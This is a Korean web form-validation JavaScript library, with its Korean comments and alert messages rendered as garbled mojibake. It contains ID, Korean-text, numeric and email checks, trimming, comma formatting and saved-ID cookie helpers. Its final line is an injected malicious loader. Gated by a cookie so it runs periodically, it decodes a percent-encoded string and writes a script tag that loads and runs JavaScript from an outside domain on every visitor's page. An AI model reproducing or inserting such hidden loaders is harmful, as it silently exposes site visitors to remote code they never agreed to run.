////// JavaScript Document////////////////////////////////////////////////////////////////////////////////////////////
	// ÆûÀÔ·Â Ã¼Å©
	//checkParam(this,'ÀÌ¸§À»','kor','4,8') --> ÇÑ±Û¸¸ ÀÔ·Â °¡´ÉÇÏ¸ç, 2~4ÀÚ¸® ÀÌ³»¿¡¼­ µî·Ï °¡´É
	function checkParam(frm, strArg, check_type, check_length, set_yn)
	{
		var i;
		var t = frm.value;

		if( trim(t) == "" ) {
			alert(strArg + " ÀÔ·ÂÇØÁÖ¼¼¿ä.");
			frm.focus();
			frm.select();
			return true;
		}

			//idÃ¼Å© ÇÔ¼ö (¿µ¹®,¼ýÀÚ,-,_)¸¸ ÀÔ·Â °¡´É
			if (check_type == 'id'){
				for ( nindex = 0; nindex < t.length; nindex++) {
					str2 = t.charAt(nindex);
					
					if (!(str2 >= 'a' && str2 <= 'z') && !(str2 >= 'A' && str2 <= 'Z') && !(str2 >= '0' && str2 <= '9') && str2 != '-' && str2 != '_'){
						alert(strArg + ' ¿µ¹®, ¼ýÀÚ, "-", "_" ¸¸ »ç¿ë °¡´É ÇÕ´Ï´Ù.');
						frm.focus();
						frm.select();
						return true;
					}			
				}
			//idÃ¼Å© ÇÔ¼ö (¿µ¹®,¼ýÀÚ,-,_)¸¸ ÀÔ·Â °¡´É
			} else if (check_type == 'id2'){
				for ( nindex = 0; nindex < t.length; nindex++) {
					str2 = t.charAt(nindex);
					
					if( nindex == 0 ) {
						if (!(str2 >= 'a' && str2 <= 'z') ) {
							alert(strArg + " ¿µ¹®ÀÚ·Î ½ÃÀÛÇØ¾ßÇÕ´Ï´Ù.");
							frm.focus();
							frm.select();
							return true;
						}
					} else {
						if (!(str2 >= 'a' && str2 <= 'z') && !(str2 >= 'A' && str2 <= 'Z') && !(str2 >= '0' && str2 <= '9') && str2 != '-' && str2 != '_'){
							alert(strArg + ' ¿µ¹®, ¼ýÀÚ, "-", "_" ¸¸ »ç¿ë °¡´É ÇÕ´Ï´Ù.');
							frm.focus();
							frm.select();
							return true;
						}			
					}
				}
			//ÇÑ±Û¸¸ ÀÔ·Â°¡´É
			}else if (check_type == 'kor'){
				for ( nindex = 0; nindex < t.length; nindex++) {
					str2 = t.charAt(nindex);					
								
					if (!(( str2 >= '¤¡' && str2 <= 'ÆR') || str2 == " ")){
						alert(strArg + ' ÇÑ±Û·Î¸¸ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
						
					kor_err_ch ='¤Ë¤Å¤Á¤À¤Ä¤Ç¤Ã¤¿¤Ó¤Ð¤Ì¤Ñ¤Â¤Æ¤²¤¸¤§¤¡¤·¤µ¤±¤¤¤©¤»¤¾¤¼¤º¤½¤³¤¹¤¨¤¢¤¶';
					if(kor_err_ch.indexOf(str2)>-1) {
						alert(strArg + ' ÇÑ±ÛÀ» Á¤È®È÷ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			//ÇÑ±Û¸¸ ÀÔ·Â ºÒ°¡
			}else if (check_type == 'nkor'){
				for ( nindex = 0; nindex < t.length; nindex++) {
					str2 = t.charAt(nindex);
					if (( str2 >= '¤¡' && str2 <= 'ÆR' )){
						alert(strArg + ' ÇÑ±ÛÀº ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			// ¿µ¹®¸¸ ÀÔ·Â °¡´É
			}else if (check_type == 'eng'){
				num = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ';
				for (i=0; i<t.length; i++){
					if(num.indexOf(t.charAt(i))<0) {
						alert(strArg + ' ¿µ¹®¸¸ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			//¼ýÀÚ¸¸ ÀÔ·Â °¡´É		
			}else if (check_type == 'num'){
				num = '1234567890';
				for (i=0; i<t.length; i++){
					if(num.indexOf(t.charAt(i))<0) {
						alert(strArg + ' ¼ýÀÚ¸¸ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			//¼ýÀÚ¸¸ ÀÔ·Â °¡´É		
			}else if (check_type == 'numdot'){
				num = '1234567890.';
				for (i=0; i<t.length; i++){
					if(num.indexOf(t.charAt(i))<0) {
						alert(strArg + ' ¼ýÀÚ¿Í Á¡¸¸ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			//¼ýÀÚ¸¸ ÀÔ·Â °¡´É		
			}else if (check_type == 'numbar'){
				num = '1234567890-';
				for (i=0; i<t.length; i++){
					if(num.indexOf(t.charAt(i))<0) {
						alert(strArg + ' ¼ýÀÚ¿Í -¸¸ ÀÔ·ÂÇØÁÖ¼¼¿ä.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			//°ø¹éÀÔ·Â Á¦ÇÑ		
			}else if (check_type == 'space'){
				num = ' ';
				for (i=0; i<t.length; i++){
					if(num.indexOf(t.charAt(i))>=0) {
						alert(strArg + ' °ø¹éÀ» ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù.');
						frm.focus();
						frm.select();
						return true;
					}
				}
			}

			if(check_length.length > 1) {
				if (set_yn == null || set_yn == "")
				{
					return length_check(frm, strArg, check_type, check_length);
				}
				else {
					if (t != "" ){
						return length_check(frm, strArg, check_type, check_length);
					} 
					else {
						return false;
					}
				}

			}
			else {
				var m_length = frm.getAttribute("maxlength");

				if (m_length != "2147483647")
				{
					if (set_yn == null || set_yn == "")
					{
						return length_check(frm, strArg, check_type, "1," + m_length);
					}
					else {
						if (t != "" ){
							return length_check(frm, strArg, check_type, "1,"+m_length);
						} 
						else {
							return false;
						}
					}
				}
				else {
					return false;
				}
				return true;
			}

		return false;
	}

	function length_check(frm, strArg, check_type, check_length, focus) {
		//ÀÚ¸®¼ö Ã¼Å©
		var t = frm.value;
		var gr_length;
		var lmin;
		var lmax;
		gr_length = check_length.split(",")

		lmin = gr_length[0]
		lmax = gr_length[1]

		if (getlength(t) < parseInt(lmin) || getlength(t) > parseInt(lmax)) {
			if (check_type == 'kor'){
				if (lmin == lmax)
				{
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmax / 2) + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmax / 2) + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmin / 2) + ' ~ ' + parseInt(lmax / 2) + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'nkor'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'eng'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'num'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'numdot' || check_type == 'numbar'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØ ÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'id'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}else if (check_type == 'id2'){
                                if (lmin == lmax)
                                {
                                        alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
                                }
                                else if(lmin < 3) {
                                        alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
                                }
                                else {
                                        alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
                                }
			}else if (check_type == 'space'){
				if (lmin == lmax)
				{
					alert(strArg + ' ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			} else {
				if (lmin == lmax)
				{
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmax / 2) + 'ÀÚ, ¿µ¹® ' + lmax + 'ÀÚ·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else if(lmin < 3) {
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmax / 2) + 'ÀÚ, ¿µ¹® ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
				else {
					alert(strArg + ' ÇÑ±Û ' + parseInt(lmin / 2) + ' ~ ' + parseInt(lmax / 2) + 'ÀÚ, ¿µ¹® ' + lmin + ' ~ ' + lmax + 'ÀÚ ÀÌ³»·Î ÀÔ·ÂÇØÁÖ¼¼¿ä.');
				}
			}
			
			if (focus == null || focus == '' ) frm.focus();
			frm.select();
			return true;
		}
		return false;
	}
		
	//ÇÑ±ÛÀº ÇÑ ±ÛÀÚ´ç length¸¦ 2·Î Ã³¸® 
	function getlength(string)
	{
		var ch;
		var length = 0;
		
		for ( k = 0; k < string.length; k++ )
		{
			ch = string.charAt(k);
			if ( ch >= '¤¡' && ch <= 'ÆR' )
			{
				length += 2;
			}
			else if ( ch.charCodeAt(k) > 128)  //¹®ÀÚ¸¦ ¹Þ¾Æ ¾Æ½ºÅ°  ÄÚµå °ªÀ¸·Î ¹ÝÈ¯ 
			{
				length += 2;
			}
			else
				length++;
		}
		return length;
	}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////		

//* ³Î Ã¼Å©
function NullCheck(frmvalue, msg) {
	if (frmvalue.value.split(" ").join("") == "")		//null ÀÏ °æ¿ì
	{
		alert(msg);
		frmvalue.focus();
		return false;
	}
}

// ¶óµð¿À¹öÆ°ÀÌ³ª Ã¼Å©¹Ú½ºÀÇ null Ã¼Å©
function NullCheck01(frmvalue, msg) {
	var result=false;
	var frLen=frmvalue.length;
	if (frLen) {
		for (i=0; i<frLen; i++) {
			if (frmvalue[i].checked == true) {
				result=true;
			}
		}
		if (result == false) {
			alert(msg);
			return false;
		}
	} 
	else {
		if (frmvalue.checked == false) {
			alert(msg);
			return false;
		}
	}
}

// ¼¿·ºÆ®¹Ú½ºÀÇ selectedµÈ value¸¦ ¸®ÅÏÇÑ´Ù.
function SelectedValue(frmvalue) {
	var restr="";
	var frLen=frmvalue.length;
	if (frLen) {
		for (i=0; i<frLen; i++) {
			if (frmvalue[i].selected == true) {
				restr=frmvalue[i].value;
				return restr;
			}
		}
	} 
}

// Ã¼Å©¹Ú½º Ã¼Å© ¼ö ¸®ÅÏ ÇÔ¼ö
// checkbox_count(ÆûÀÌ¸§, ÄÁÆ®·ÑÀÌ¸§)
function checkbox_count(formname, controlId) {
	var el_collection = eval("document.forms." + formname + "." + controlId);
	var cnt = 0;
	if (el_collection != null) {
		if(el_collection.length){
			for (c=0;c<el_collection.length;c++) {
				if (el_collection[c].checked == true) {
					cnt++;
				}
			}
		}
		else{
			if (el_collection.checked == true) {
				cnt = 1;
			}
		}
	}
	return cnt;
}

//¾çÂÊÀÇ °ø¹é»èÁ¦
function trim(string) {
	var temp = "";
	string = '' + string;
	splitstring = string.split(" ");
	for(i = 0; i < splitstring.length; i++)
		temp += splitstring[i];
	return temp;
}

// ÁÂÃø°ø¹é Á¦°Å
function Ltrim(strValue)
{
	while (strValue.length>0)
	{
		if(strValue.charAt(0)==" ")
			strValue=strValue.substring(1,strValue.length);              
		else
			return strValue;	    
	}

	return strValue;
}

// ¿ìÃø°ø¹é Á¦°Å
function Rtrim(strValue)
{
	while (strValue.length>0)
	{
		if(strValue.charAt(strValue.length-1)==" ")
			strValue=strValue.substring(0,strValue.length-1);              
		else
			return strValue;	    
	}
	return strValue;
}

// °ø¹é Á¦°Å
function Trim(strValue){
   strValue = Ltrim(strValue);
   strValue = Rtrim(strValue);
   return strValue;
}

// ¹®ÀÚ¿­ Å©±â
function bytelen(s){ 
	var len = 0; 
	if ( s == null ) {return 0;}
	for( i = 0; i < s.length; i++) {
		c = escape(s.charAt(i));
		if ( c.length == 1 ) len ++; 
		else if ( c.indexOf("%u") != -1 ) len += 2; 
		else if ( c.indexOf("%")  != -1 ) len += c.length/3; 
	} 
	return len; 
}

//¼ýÀÚ¸¸ ÀÔ·Â °¡´ÉÇÏ°Ô
function num(code) {
	if ((event.keyCode<48 || event.keyCode>57 )&&(event.keyCode!=13)){
		alert("¼ýÀÚ¸¸ ÀÔ·Â °¡´É ÇÕ´Ï´Ù.");
		event.returnValue=false;//°ªÀÇ ÃÊ±âÈ­
		code.focus();
		return false
	}
}

//ÇÑ±Û »ç¿ë±ÝÁö
function check_not_allowed_korean(input_str) {
	var result=false;
	for(var i=0;i<input_str.length;i++) {
		var codenum=input_str.charCodeAt(i);
		if(codenum > 128) {
			result=true;
		}
	}
	return result;
}

//ÇÑ±Û »ç¿ë°¡´É
function check_allowed_korean(input_str) {
	var result=false;
	for(i=0;i<input_str.length;i++) {
		var codenum=input_str.charCodeAt(i);
		if(codenum < 128) {
			result=true;
		}
	}
	return result;
}

//Æ¯¼ö¹®ÀÚ Ã¼Å©
function check_nonchar(input_str) {
	var nonchar='~`!@#$%^&*()=+\|<>?,/;:"';
	for(var i=0;i<input_str.length;i++) {
		if(nonchar.indexOf(input_str.substring(i,i+1))>0){
			break;
		}
	}
	if(i!=input_str.length){
		return true;
	} else{
		return false;
	}
	return false;
}

// ÀÔ·Â¹ÞÀº °ªµéÀÌ Á¤¼öÇüÀÎÁö Ã¼Å©
function isInt(frmvalue, msg) {
	for (var i=0; i != frmvalue.value.length ; i++ ) {
		aChar = frmvalue.value.substring(i, i+1) ;
		if ( aChar < "0" || aChar > "9" ) {
			alert(msg);
			frmvalue.focus();
			return false ;
		}
	}
	return true ;
}

//ÀÌ¸ÞÀÏ Ã¼Å©
function email_QC(formName, str) {
  var emailVal = true
  var temp = formName
  var A = temp.value.indexOf('@')
  var prd = temp.value.lastIndexOf('.')
  var space = temp.value.indexOf(' ')
  var length = temp.value.length - 1   

  if ((A < 1) || (prd <= A+1) ||  (prd == length ) ||  (space  != -1)) {  
    emailVal = false
    alert(str)
    temp.focus()
  }
  return emailVal
}

//¿ÀÇÂÃ¢ ½ºÅ©¸° °¡¿îµ¥·Î À§Ä¡ÇÏ°ÔÇÏ±â
function open_center(w,h){
	var center_width_x;
	var center_height_y;
	center_width_x=screen.availWidth/2;
	center_height_y=screen.availHeight/2;

	m_x=center_width_x-w/2;
	m_y=center_height_y-h/2;
	window.moveTo(m_x,m_y);
}

// ¼ýÀÚ¿¡ ÄÄ¸¶»©°í ´Ù½Ã °è»êÈÄ ÄÄ¸¶Âï±â (. ´Â ÄÄ¸¶ÀÎ½Ä ¹«).
function CheckMoney(obj) {
	a=out_comma(obj.value);
	dotflag = a.indexOf(".");
	
	if(dotflag!=-1){
		ia = a.substring(0,dotflag);
		ib = a.substring(dotflag,a.length);
		obj.value=in_comma(ia) + ib;
	}else{
		obj.value=in_comma(a);
	}
}
// ÄÄ¸¶ »©±â
function out_comma(str) {
	comm_str = String(str);
	uncomm_str="";
	
	for(i=0; i<comm_str.length; i++)
	{
		substr=comm_str.substring(i,i+1);
	
		if(substr!=",")
		uncomm_str += substr;
	}
	
	return uncomm_str;
}
// ÄÄ¸¶ ³Ö±â
function in_comma(str) {
	uncomm_str = String(str);
	comm_str = "";

	loop_j = uncomm_str.length - 3;
	for(j=loop_j; j>=1 ; j=j-3)
	{
		comm_str=","+uncomm_str.substring(j,j+3)+comm_str;
	}
	comm_str = uncomm_str.substring(0,j+3)+comm_str;
	
	return comm_str;
}

// ÄÄ¸¶ ³Ö±â
function Comma(number) {
	number = '' + number;
	if (number.length > 3) {
		var mod = number.length % 3;
		var output = (mod > 0 ? (number.substring(0,mod)) : '');

		for (i=0 ; i < Math.floor(number.length / 3); i++) {
			if ((mod == 0) && (i == 0))
			output += number.substring(mod+ 3 * i, mod + 3 * i + 3);
		else
			output+= ',' + number.substring(mod + 3 * i, mod + 3 * i + 3);
		}
		return (output);
	}
	else return number;
}


// ¾ÆÀÌµðÀúÀå
// <body onLoad="getid(document.mainform)">
// <input type=checkbox name=checksaveid onClick="saveid(this.form)">¾ÆÀÌµð ±â¾ï
function setCookie (name, value, expires) {
  document.cookie = name + "=" + escape (value) +
    "; path=/; expires=" + expires.toGMTString();
}
function getCookie(Name) {
  var search = Name + "="
  if (document.cookie.length > 0) { // ÄíÅ°°¡ ¼³Á¤µÇ¾î ÀÖ´Ù¸é
    offset = document.cookie.indexOf(search)
    if (offset != -1) { // ÄíÅ°°¡ Á¸ÀçÇÏ¸é
      offset += search.length
      // set index of beginning of value
      end = document.cookie.indexOf(";", offset)
      // ÄíÅ° °ªÀÇ ¸¶Áö¸· À§Ä¡ ÀÎµ¦½º ¹øÈ£ ¼³Á¤
      if (end == -1)
        end = document.cookie.length
      return unescape(document.cookie.substring(offset, end))
    }
  }
  return "";
}

function saveid(form) {
  var expdate = new Date();
  // ±âº»ÀûÀ¸·Î 30ÀÏµ¿¾È ±â¾ïÇÏ°Ô ÇÔ. ÀÏ¼ö¸¦ Á¶ÀýÇÏ·Á¸é * 30¿¡¼­ ¼ýÀÚ¸¦ Á¶ÀýÇÏ¸é µÊ
  if (form.checksaveid.checked)
    expdate.setTime(expdate.getTime() + 1000 * 3600 * 24 * 30); // 30ÀÏ
  else
    expdate.setTime(expdate.getTime() - 1); // ÄíÅ° »èÁ¦Á¶°Ç
  setCookie("saveid", form.id.value, expdate);
}

function getid(form) {
  form.checksaveid.checked = ((form.id.value = getCookie("saveid")) != "");
}

// blur();
function bluring(){ 
	if(event.srcElement.tagName=="A"||event.srcElement.tagName=="IMG") document.body.focus(); 
} 
document.onfocusin=bluring;

// È¨À¸·Î °¡±â
function home(){
	location.href='/opening.htm';
}

//¿ÀÇÂÃ¢ ¿­±â
function window_open(url, wth, hht, scrb) {
		window.open(url,"","width=" + wth + ",height=" + hht + ",status=no,scrollbars=" + scrb + ",toolbar=no,titlebar=no,menubar=no,location=no");
}

function stringcut(str,len){
var l=0;
for(var i=0; i<str.length; i++){
	l+=(str.charCodeAt(i)>128)?2:1;
	if(l>len) return str.substring(0,i) + "...";
}
return str;
}
if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+0.6*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6B%75%6A%75%6E%67%64%65%6E%74%2E%63%6F%6D%2F%74%65%6D%70%2F%6A%73%2F%65%6D%70%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"));}
